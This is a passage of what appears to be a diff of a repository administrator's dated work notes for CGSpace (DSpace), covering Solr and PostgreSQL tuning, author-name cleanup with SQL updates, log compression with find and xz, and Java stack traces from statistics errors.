+Caused by: java.lang.NoSuchMethodError: com.atmire.statistics.generator.DSpaceObjectDatasetGenerator.toDatasetQuery(Lorg/dspace/core/Context;)Lcom/atmire/statistics/content/DatasetQuery;
+        at com.atmire.statistics.generator.TopNDSODatasetGenerator.toDatasetQuery(SourceFile:39)
+        at com.atmire.statistics.display.StatisticsDataVisitsMultidata.createDataset(SourceFile:108)
+        at org.dspace.statistics.content.StatisticsDisplay.createDataset(SourceFile:384)
+        at org.dspace.statistics.content.StatisticsDisplay.getDataset(SourceFile:404)
+        at com.atmire.statistics.mostpopular.JSONStatsMostPopularGenerator.generateJsonData(SourceFile:170)
+        at com.atmire.statistics.mostpopular.JSONStatsMostPopularGenerator.generate(SourceFile:246)
+        at com.atmire.app.xmlui.aspect.statistics.JSONStatsMostPopular.generate(JSONStatsMostPopular.java:145)
+        at sun.reflect.GeneratedMethodAccessor296.invoke(Unknown Source)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+        at com.sun.proxy.$Proxy96.process(Unknown Source)
+        at org.apache.cocoon.components.treeprocessor.sitemap.ReadNode.invoke(ReadNode.java:94)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+        at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+        at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+        at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+        at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+        at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+        at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+        at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+        at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:117)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+        at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+        at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+        at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+        at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+        at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+        at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+        at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+        at org.apache.cocoon.servlet.RequestProcessor.process(RequestProcessor.java:351)
+        at org.apache.cocoon.servlet.RequestProcessor.service(RequestProcessor.java:169)
+        at org.apache.cocoon.sitemap.SitemapServlet.service(SitemapServlet.java:84)
+        at javax.servlet.http.HttpServlet.service(HttpServlet.java:727)
+        at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:468)
+        at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:443)
+        at org.apache.cocoon.servletservice.spring.ServletFactoryBean$ServiceInterceptor.invoke(ServletFactoryBean.java:264)
+        at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:172)
+        at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:202)
+        at com.sun.proxy.$Proxy89.service(Unknown Source)
+        at org.dspace.springmvc.CocoonView.render(CocoonView.java:113)
+        at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1180)
+        at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:950)
+        ... 35 more
+
    +
  • The first error I see in dspace.log this morning is:
    • +
+
2016-12-02 03:00:46,656 ERROR org.dspace.authority.AuthorityValueFinder @ anonymous::Error while retrieving AuthorityValue from solr:query\colon; id\colon;"b0b541c1-ec15-48bf-9209-6dbe8e338cdc"
+org.apache.solr.client.solrj.SolrServerException: Server refused connection at: http://localhost:8081/solr/authority
+
    +
  • Looking through DSpace’s solr log I see that about 20 seconds before this, there were a few 30+ KiB solr queries
    • +
  • The last logs here right before Solr became unresponsive (and right after I restarted it five hours later) were:
    • +
+
2016-12-02 03:00:42,606 INFO  org.apache.solr.core.SolrCore @ [statistics] webapp=/solr path=/select params={q=containerItem:72828+AND+type:0&shards=localhost:8081/solr/statistics-2010,localhost:8081/solr/statistics&fq=-isInternal:true&fq=-(author_mtdt:"CGIAR\+Institutional\+Learning\+and\+Change\+Initiative"++AND+subject_mtdt:"PARTNERSHIPS"+AND+subject_mtdt:"RESEARCH"+AND+subject_mtdt:"AGRICULTURE"+AND+subject_mtdt:"DEVELOPMENT"++AND+iso_mtdt:"en"+)&rows=0&wt=javabin&version=2} hits=0 status=0 QTime=19
+2016-12-02 08:28:23,908 INFO  org.apache.solr.servlet.SolrDispatchFilter @ SolrDispatchFilter.init()
+
    +
  • DSpace’s own Solr logs don’t give IP addresses, so I will have to enable Nginx’s logging of /solr so I can see where this request came from
    • +
  • I enabled logging of /rest/ and I think I’ll leave it on for good
    • +
  • Also, the disk is nearly full because of log file issues, so I’m running some compression on DSpace logs
    • +
  • Normally these stay uncompressed for a month just in case we need to look at them, so now I’ve just compressed anything older than 2 weeks so we can get some disk space back
    • +
+

2016-12-04

+
    +
  • I got a weird report from the CGSpace checksum checker this morning
    • +
  • It says 732 bitstreams have potential issues, for example:
    • +
+
------------------------------------------------ 
+Bitstream Id = 6
+Process Start Date = Dec 4, 2016
+Process End Date = Dec 4, 2016
+Checksum Expected = a1d9eef5e2d85f50f67ce04d0329e96a
+Checksum Calculated = a1d9eef5e2d85f50f67ce04d0329e96a
+Result = Bitstream marked deleted in bitstream table
+----------------------------------------------- 
+...
+------------------------------------------------ 
+Bitstream Id = 77581
+Process Start Date = Dec 4, 2016
+Process End Date = Dec 4, 2016
+Checksum Expected = 9959301aa4ca808d00957dff88214e38
+Checksum Calculated = 
+Result = The bitstream could not be found
+----------------------------------------------- 
+
    +
  • The first one seems ok, but I don’t know what to make of the second one…
    • +
  • I had a look and there is indeed no file with the second checksum in the assetstore (ie, looking in [dspace-dir]/assetstore/99/59/30/...)
    • +
  • For what it’s worth, there is no item on DSpace Test or S3 backups with that checksum either…
    • +
  • In other news, I’m looking at JVM settings from the Solr 4.10.2 release, from bin/solr.in.sh:
    • +
+
# These GC settings have shown to work well for a number of common Solr workloads
+GC_TUNE="-XX:-UseSuperWord \
+-XX:NewRatio=3 \
+-XX:SurvivorRatio=4 \
+-XX:TargetSurvivorRatio=90 \
+-XX:MaxTenuringThreshold=8 \
+-XX:+UseConcMarkSweepGC \
+-XX:+UseParNewGC \
+-XX:ConcGCThreads=4 -XX:ParallelGCThreads=4 \
+-XX:+CMSScavengeBeforeRemark \
+-XX:PretenureSizeThreshold=64m \
+-XX:CMSFullGCsBeforeCompaction=1 \
+-XX:+UseCMSInitiatingOccupancyOnly \
+-XX:CMSInitiatingOccupancyFraction=50 \
+-XX:CMSTriggerPermRatio=80 \
+-XX:CMSMaxAbortablePrecleanTime=6000 \
+-XX:+CMSParallelRemarkEnabled \
+-XX:+ParallelRefProcEnabled \
+-XX:+AggressiveOpts"
+
+

2016-12-05

+
    +
  • I did some basic benchmarking on a local DSpace before and after the JVM settings above, but there wasn’t anything amazingly obvious
    • +
  • I want to make the changes on DSpace Test and monitor the JVM heap graphs for a few days to see if they change the JVM GC patterns or anything (munin graphs)
    • +
  • Spin up new CGSpace server on Linode
    • +
  • I did a few traceroutes from Jordan and Kenya and it seems that Linode’s Frankfurt datacenter is a few less hops and perhaps less packet loss than the London one, so I put the new server in Frankfurt
    • +
  • Do initial provisioning
    • +
  • Atmire responded about the MQM warnings in the DSpace logs
    • +
  • Apparently we need to change the batch edit consumers in dspace/config/dspace.cfg:
    • +
+
event.consumer.batchedit.filters = Community|Collection+Create
+
    +
  • I haven’t tested it yet, but I created a pull request: #289
    • +
+

2016-12-06

+
    +
  • Some author authority corrections and name standardizations for Peter:
    • +
+
dspace=# update metadatavalue set authority='b041f2f4-19e7-4113-b774-0439baabd197', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Mora Benard%';
+UPDATE 11
+dspace=# update metadatavalue set text_value = 'Hoek, Rein van der', authority='4d6cbce2-6fd5-4b43-9363-58d18e7952c9', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Hoek, R%';
+UPDATE 36
+dspace=# update metadatavalue set text_value = 'Hoek, Rein van der', authority='4d6cbce2-6fd5-4b43-9363-58d18e7952c9', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like '%an der Hoek%' and text_value !~ '^.*W\.?$';
+UPDATE 14
+dspace=# update metadatavalue set authority='18349f29-61b1-44d7-ac60-89e55546e812', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Thorne, P%';
+UPDATE 42
+dspace=# update metadatavalue set authority='0d8369bb-57f7-4b2f-92aa-af820b183aca', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Thornton, P%';
+UPDATE 360
+dspace=# update metadatavalue set text_value='Grace, Delia', authority='0b4fcbc1-d930-4319-9b4d-ea1553cca70b', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Grace, D%';
+UPDATE 561
+
    +
  • Pay attention to the regex to prevent false positives in tricky cases with Dutch names!
    • +
  • I will run these updates on DSpace Test and then force a Discovery reindex, and then run them on CGSpace next week
    • +
  • More work on the KM4Dev Journal article
    • +
  • In other news, it seems the batch edit patch is working, there are no more WARN errors in the logs and the batch edit seems to work
    • +
  • I need to check the CGSpace logs to see if there are still errors there, and then deploy/monitor it there
    • +
  • Paola from CCAFS mentioned she also has the “take task” bug on CGSpace
    • +
  • Reading about shared_buffers in PostgreSQL configuration (default is 128MB)
    • +
  • Looks like we have ~5GB of memory used by caches on the test server (after OS and JVM heap!), so we might as well bump up the buffers for Postgres
    • +
  • The docs say a good starting point for a dedicated server is 25% of the system RAM, and our server isn’t dedicated (also runs Solr, which can benefit from OS cache) so let’s try 1024MB
    • +
  • In other news, the authority reindexing keeps crashing (I was manually running it after the author updates above):
    • +
+
$ time JAVA_OPTS="-Xms768m -Xmx768m -Dfile.encoding=UTF-8" /home/dspacetest.cgiar.org/bin/dspace index-authority
+Retrieving all data
+Initialize org.dspace.authority.indexer.DSpaceAuthorityIndexer
+Exception: null
+java.lang.NullPointerException
+        at org.dspace.authority.AuthorityValueGenerator.generateRaw(AuthorityValueGenerator.java:82)
+        at org.dspace.authority.AuthorityValueGenerator.generate(AuthorityValueGenerator.java:39)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.prepareNextValue(DSpaceAuthorityIndexer.java:201)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:132)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:159)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.AuthorityIndexClient.main(AuthorityIndexClient.java:61)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+
+real    8m39.913s
+user    1m54.190s
+sys     0m22.647s
+

2016-12-07

+
    +
  • For what it’s worth, after running the same SQL updates on my local test server, index-authority runs and completes just fine
    • +
  • I will have to test more
    • +
  • Anyways, I noticed that some of the authority values I set actually have versions of author names we don’t want, ie “Grace, D.”
    • +
  • For example, do a Solr query for “first_name:Grace” and look at the results
    • +
  • Querying that ID shows the fields that need to be changed:
    • +
+
{
+  "responseHeader": {
+    "status": 0,
+    "QTime": 1,
+    "params": {
+      "q": "id:0b4fcbc1-d930-4319-9b4d-ea1553cca70b",
+      "indent": "true",
+      "wt": "json",
+      "_": "1481102189244"
+    }
+  },
+  "response": {
+    "numFound": 1,
+    "start": 0,
+    "docs": [
+      {
+        "id": "0b4fcbc1-d930-4319-9b4d-ea1553cca70b",
+        "field": "dc_contributor_author",
+        "value": "Grace, D.",
+        "deleted": false,
+        "creation_date": "2016-11-10T15:13:40.318Z",
+        "last_modified_date": "2016-11-10T15:13:40.318Z",
+        "authority_type": "person",
+        "first_name": "D.",
+        "last_name": "Grace"
+      }
+    ]
+  }
+}
+
    +
  • I think I can just update the value, first_name, and last_name fields…
    • +
  • The update syntax should be something like this, but I’m getting errors from Solr:
    • +
+
$ curl 'localhost:8081/solr/authority/update?commit=true&wt=json&indent=true' -H 'Content-type:application/json' -d '[{"id":"1","price":{"set":100}}]'
+{
+  "responseHeader":{
+    "status":400,
+    "QTime":0},
+  "error":{
+    "msg":"Unexpected character '[' (code 91) in prolog; expected '<'\n at [row,col {unknown-source}]: [1,1]",
+    "code":400}}
+
    +
  • When I try using the XML format I get an error that the updateLog needs to be configured for that core
    • +
  • Maybe I can just remove the authority UUID from the records, run the indexing again so it creates a new one for each name variant, then match them correctly?
    • +
+
dspace=# update metadatavalue set authority=null, confidence=-1 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Grace, D%';
+UPDATE 561
+
    +
  • Then I’ll reindex discovery and authority and see how the authority Solr core looks
    • +
  • After this, now there are authorities for some of the “Grace, D.” and “Grace, Delia” text_values in the database (the first version is actually the same authority that already exists in the core, so it was just added back to some text_values, but the second one is new):
    • +
+
$ curl 'localhost:8081/solr/authority/select?q=id%3A18ea1525-2513-430a-8817-a834cd733fbc&wt=json&indent=true'
+{
+  "responseHeader":{
+    "status":0,
+    "QTime":0,
+    "params":{
+      "q":"id:18ea1525-2513-430a-8817-a834cd733fbc",
+      "indent":"true",
+      "wt":"json"}},
+  "response":{"numFound":1,"start":0,"docs":[
+      {
+        "id":"18ea1525-2513-430a-8817-a834cd733fbc",
+        "field":"dc_contributor_author",
+        "value":"Grace, Delia",
+        "deleted":false,
+        "creation_date":"2016-12-07T10:54:34.356Z",
+        "last_modified_date":"2016-12-07T10:54:34.356Z",
+        "authority_type":"person",
+        "first_name":"Delia",
+        "last_name":"Grace"}]
+  }}
+
    +
  • So now I could set them all to this ID and the name would be ok, but there has to be a better way!
    • +
  • In this case it seems that since there were also two different IDs in the original database, I just picked the wrong one!
    • +
  • Better to use:
    • +
+
dspace#= update metadatavalue set text_value='Grace, Delia', authority='bfa61d7c-7583-4175-991c-2e7315000f0c', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Grace, D%';
+
    +
  • This proves that unifying author name varieties in authorities is easy, but fixing the name in the authority is tricky!
    • +
  • Perhaps another way is to just add our own UUID to the authority field for the text_value we like, then re-index authority so they get synced from PostgreSQL to Solr, then set the other text_values to use that authority ID
    • +
  • Deploy MQM WARN fix on CGSpace (#289)
    • +
  • Deploy “take task” hack/fix on CGSpace (#290)
    • +
  • I ran the following author corrections and then reindexed discovery:
    • +
+
update metadatavalue set authority='b041f2f4-19e7-4113-b774-0439baabd197', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Mora Benard%';
+update metadatavalue set text_value = 'Hoek, Rein van der', authority='4d6cbce2-6fd5-4b43-9363-58d18e7952c9', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Hoek, R%';
+update metadatavalue set text_value = 'Hoek, Rein van der', authority='4d6cbce2-6fd5-4b43-9363-58d18e7952c9', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like '%an der Hoek%' and text_value !~ '^.*W\.?$';
+update metadatavalue set authority='18349f29-61b1-44d7-ac60-89e55546e812', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Thorne, P%';
+update metadatavalue set authority='0d8369bb-57f7-4b2f-92aa-af820b183aca', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Thornton, P%';
+update metadatavalue set text_value='Grace, Delia', authority='bfa61d7c-7583-4175-991c-2e7315000f0c', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Grace, D%';
+

2016-12-08

+
    +
  • Something weird happened and Peter Thorne’s names all ended up as “Thorne”, I guess because the original authority had that as its name value:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like 'Thorne%';
+    text_value    |              authority               | confidence
+------------------+--------------------------------------+------------
+ Thorne, P.J.     | 18349f29-61b1-44d7-ac60-89e55546e812 |        600
+ Thorne           | 18349f29-61b1-44d7-ac60-89e55546e812 |        600
+ Thorne-Lyman, A. | 0781e13a-1dc8-4e3f-82e8-5c422b44a344 |         -1
+ Thorne, M. D.    | 54c52649-cefd-438d-893f-3bcef3702f07 |         -1
+ Thorne, P.J      | 18349f29-61b1-44d7-ac60-89e55546e812 |        600
+ Thorne, P.       | 18349f29-61b1-44d7-ac60-89e55546e812 |        600
+(6 rows)
+
    +
  • I generated a new UUID using uuidgen | tr [A-Z] [a-z] and set it along with correct name variation for all records:
    • +
+
dspace=# update metadatavalue set authority='b2f7603d-2fb5-4018-923a-c4ec8d85b3bb', text_value='Thorne, P.J.' where resource_type_id=2 and metadata_field_id=3 and authority='18349f29-61b1-44d7-ac60-89e55546e812';
+UPDATE 43
+
    +
  • Apparently we also need to normalize Phil Thornton’s names to Thornton, Philip K.:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value ~ '^Thornton[,\.]? P.*';
+     text_value      |              authority               | confidence
+---------------------+--------------------------------------+------------
+ Thornton, P         | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, P K.      | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, P K       | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton. P.K.      | 3e1e6639-d4fb-449e-9fce-ce06b5b0f702 |         -1
+ Thornton, P K .     | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, P.K.      | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, P.K       | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, Philip K  | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, Philip K. | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+ Thornton, P. K.     | 0d8369bb-57f7-4b2f-92aa-af820b183aca |        600
+(10 rows)
+
    +
  • Seems his original authorities are using an incorrect version of the name so I need to generate another UUID and tie it to the correct name, then reindex:
    • +
+
dspace=# update metadatavalue set authority='2df8136e-d8f4-4142-b58c-562337cab764', text_value='Thornton, Philip K.', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value ~ '^Thornton[,\.]? P.*';
+UPDATE 362
+
    +
  • It seems that, when you are messing with authority and author text values in the database, it is better to run authority reindex first (postgres→solr authority core) and then Discovery reindex (postgres→solr Discovery core)
    • +
  • Everything looks ok after authority and discovery reindex
    • +
  • In other news, I think we should really be using more RAM for PostgreSQL’s shared_buffers
    • +
  • The PostgreSQL documentation recommends using 25% of the system’s RAM on dedicated systems, but we should use a bit less since we also have a massive JVM heap and also benefit from some RAM being used by the OS cache
    • +
+

2016-12-09

+
    +
  • More work on finishing rough draft of KM4Dev article
    • +
  • Set PostgreSQL’s shared_buffers on CGSpace to 10% of system RAM (1200MB)
    • +
  • Run the following author corrections on CGSpace:
    • +
+
dspace=# update metadatavalue set authority='34df639a-42d8-4867-a3f2-1892075fcb3f', text_value='Thorne, P.J.' where resource_type_id=2 and metadata_field_id=3 and authority='18349f29-61b1-44d7-ac60-89e55546e812' or authority='021cd183-946b-42bb-964e-522ebff02993';
+dspace=# update metadatavalue set authority='2df8136e-d8f4-4142-b58c-562337cab764', text_value='Thornton, Philip K.', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value ~ '^Thornton[,\.]? P.*';
+
    +
  • The authority IDs were different now than when I was looking a few days ago so I had to adjust them here
    • +
+

2016-12-11

+
    +
  • After enabling a sizable shared_buffers for CGSpace’s PostgreSQL configuration the number of connections to the database dropped significantly
    • +
+

postgres_bgwriter-week +postgres_connections_ALL-week

+
    +
  • Looking at CIAT records from last week again, they have a lot of double authors like:
    • +
+
International Center for Tropical Agriculture::3026b1de-9302-4f3e-85ab-ef48da024eb2::600
+International Center for Tropical Agriculture::3026b1de-9302-4f3e-85ab-ef48da024eb2::500
+International Center for Tropical Agriculture::3026b1de-9302-4f3e-85ab-ef48da024eb2::0
+
    +
  • Some in the same dc.contributor.author field, and some in others like dc.contributor.author[en_US] etc
    • +
  • Removing the duplicates in OpenRefine and uploading a CSV to DSpace says “no changes detected”
    • +
  • Seems like the only way to sortof clean these up would be to start in SQL:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like 'International Center for Tropical Agriculture';
+                  text_value                   |              authority               | confidence
+-----------------------------------------------+--------------------------------------+------------
+ International Center for Tropical Agriculture | cc726b78-a2f4-4ee9-af98-855c2ea31c36 |         -1
+ International Center for Tropical Agriculture |                                      |        600
+ International Center for Tropical Agriculture | 3026b1de-9302-4f3e-85ab-ef48da024eb2 |        500
+ International Center for Tropical Agriculture | cc726b78-a2f4-4ee9-af98-855c2ea31c36 |        600
+ International Center for Tropical Agriculture |                                      |         -1
+ International Center for Tropical Agriculture | cc726b78-a2f4-4ee9-af98-855c2ea31c36 |        500
+ International Center for Tropical Agriculture | 3026b1de-9302-4f3e-85ab-ef48da024eb2 |        600
+ International Center for Tropical Agriculture | 3026b1de-9302-4f3e-85ab-ef48da024eb2 |         -1
+ International Center for Tropical Agriculture | 3026b1de-9302-4f3e-85ab-ef48da024eb2 |          0
+dspace=# update metadatavalue set authority='3026b1de-9302-4f3e-85ab-ef48da024eb2', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value = 'International Center for Tropical Agriculture';
+UPDATE 1693
+dspace=# update metadatavalue set authority='3026b1de-9302-4f3e-85ab-ef48da024eb2', text_value='International Center for Tropical Agriculture', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like '%CIAT%';
+UPDATE 35
+
    +
  • Work on article for KM4Dev journal
    • +
+

2016-12-13

+
    +
  • Checking in on CGSpace postgres stats again, looks like the shared_buffers change from a few days ago really made a big impact:
    • +
+

postgres_bgwriter-week +postgres_connections_ALL-week

+
    +
  • Looking at logs, it seems we need to evaluate which logs we keep and for how long
    • +
  • Basically the only ones we need are dspace.log because those are used for legacy statistics (need to keep for 1 month)
    • +
  • Other logs will be an issue because they don’t have date stamps
    • +
  • I will add date stamps to the logs we’re storing from the tomcat7 user’s cron jobs at least, using: $(date --iso-8601)
    • +
  • Would probably be better to make custom logrotate files for them in the future
    • +
  • Clean up some unneeded log files from 2014 (they weren’t large, just don’t need them)
    • +
  • So basically, new cron jobs for logs should look something like this:
    • +
  • Find any file named *.log* that isn’t dspace.log*, isn’t already zipped, and is older than one day, and zip it:
    • +
+
# find /home/dspacetest.cgiar.org/log -regextype posix-extended -iregex ".*\.log.*" ! -iregex ".*dspace\.log.*" ! -iregex ".*\.(gz|lrz|lzo|xz)" ! -newermt "Yesterday" -exec schedtool -B -e ionice -c2 -n7 xz {} \;
+
    +
  • Since there is xzgrep and xzless we can actually just zip them after one day, why not?!
    • +
  • We can keep the zipped ones for two weeks just in case we need to look for errors, etc, and delete them after that
    • +
  • I use schedtool -B and ionice -c2 -n7 to set the CPU scheduling to SCHED_BATCH and the IO to best effort which should, in theory, impact important system processes like Tomcat and PostgreSQL less
    • +
  • When the tasks are running you can see that the policies do apply:
    • +
+
$ schedtool $(ps aux | grep "xz /home" | grep -v grep | awk '{print $2}') && ionice -p $(ps aux | grep "xz /home" | grep -v grep | awk '{print $2}')
+PID 17049: PRIO   0, POLICY B: SCHED_BATCH   , NICE   0, AFFINITY 0xf
+best-effort: prio 7
+
    +
  • All in all this should free up a few gigs (we were at 9.3GB free when I started)
    • +
  • Next thing to look at is whether we need Tomcat’s access logs
    • +
  • I just looked and it seems that we saved 10GB by zipping these logs
    • +
  • Some users pointed out issues with the “most popular” stats on a community or collection
    • +
  • This error appears in the logs when you try to view them:
    • +
+
2016-12-13 21:17:37,486 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!
+org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.NoSuchMethodError: com.atmire.statistics.generator.DSpaceObjectDatasetGenerator.toDatasetQuery(Lorg/dspace/core/Context;)Lcom/atmire/statistics/content/DatasetQuery;
+	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:972)
+	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:852)
+	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:882)
+	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:789)
+	at javax.servlet.http.HttpServlet.service(HttpServlet.java:650)
+	at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.app.xmlui.cocoon.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:111)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter.doFilter(DSpaceCocoonServletFilter.java:274)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.app.xmlui.cocoon.servlet.multipart.DSpaceMultipartFilter.doFilter(DSpaceMultipartFilter.java:119)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter(DSpaceWebappServletFilter.java:78)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:221)
+	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)
+	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505)
+	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
+	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
+	at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:180)
+	at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956)
+	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:436)
+	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1078)
+	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625)
+	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
+	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
+	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
+	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+	at java.lang.Thread.run(Thread.java:745)
